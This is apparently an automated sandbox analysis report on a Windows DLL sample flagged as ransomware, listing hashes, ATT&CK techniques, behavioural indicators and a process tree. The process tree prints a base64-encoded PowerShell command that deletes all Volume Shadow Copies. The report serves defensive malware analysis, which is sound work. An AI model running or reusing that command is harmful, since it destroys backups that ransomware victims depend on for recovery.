54c668a3d573e2f2ae4c3783f32739898e16f31338c0c1f223b0490712ec2e28

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
17-06-2024 11:30

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General

Target

b861d987eccfae74a084ec2ab22556b6_JaffaCakes118.dll
Size

114KB
MD5

b861d987eccfae74a084ec2ab22556b6
SHA1

b869546ef09656a52ba63916a4375f2f1c5b5ad6
SHA256

54c668a3d573e2f2ae4c3783f32739898e16f31338c0c1f223b0490712ec2e28
SHA512

ac50e5fc6cb81e42775ad743c1832ac371d4c101a0d00785b82932411a320bad3a11efb2caea7024d3503e23cb346526562deeef627f2c0576b53ee9967b6e22
SSDEEP

1536:t+UsJjrePaONg5khnnI5drFqgNNtrpNOxXICS4AR4YBQykTRB6+5Cs4L0+qBHaeP:t0rLOiqhnufNNtdxvJA76+5CsAb8HaeP

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

4604 rundll32.exe
4604 rundll32.exe
4936 powershell.exe
4936 powershell.exe

pid	process
4604	rundll32.exe
4604	rundll32.exe
4936	powershell.exe
4936	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4604	rundll32.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeBackupPrivilege	3308	vssvc.exe
Token: SeRestorePrivilege	3308	vssvc.exe
Token: SeAuditPrivilege	3308	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 2828 wrote to memory of 4604	2828	rundll32.exe	rundll32.exe
PID 2828 wrote to memory of 4604	2828	rundll32.exe	rundll32.exe
PID 2828 wrote to memory of 4604	2828	rundll32.exe	rundll32.exe
PID 4604 wrote to memory of 4936	4604	rundll32.exe	powershell.exe
PID 4604 wrote to memory of 4936	4604	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b861d987eccfae74a084ec2ab22556b6_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2828

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b861d987eccfae74a084ec2ab22556b6_JaffaCakes118.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4936

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3492

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3896 --field-trial-handle=2304,i,6987730730348465820,3913273227385401271,262144 --variations-seed-version /prefetch:8
1⤵
PID:788

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gtwaukwb.04z.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4936-0-0x00007FFC3DC93000-0x00007FFC3DC95000-memory.dmp

Filesize
8KB

Download
memory/4936-1-0x0000015F2A530000-0x0000015F2A552000-memory.dmp

Filesize
136KB

Download
memory/4936-11-0x00007FFC3DC90000-0x00007FFC3E751000-memory.dmp

Filesize
10.8MB

Download
memory/4936-12-0x00007FFC3DC90000-0x00007FFC3E751000-memory.dmp

Filesize
10.8MB

Download
memory/4936-13-0x00007FFC3DC90000-0x00007FFC3E751000-memory.dmp

Filesize
10.8MB

Download
memory/4936-16-0x00007FFC3DC90000-0x00007FFC3E751000-memory.dmp

Filesize
10.8MB

Download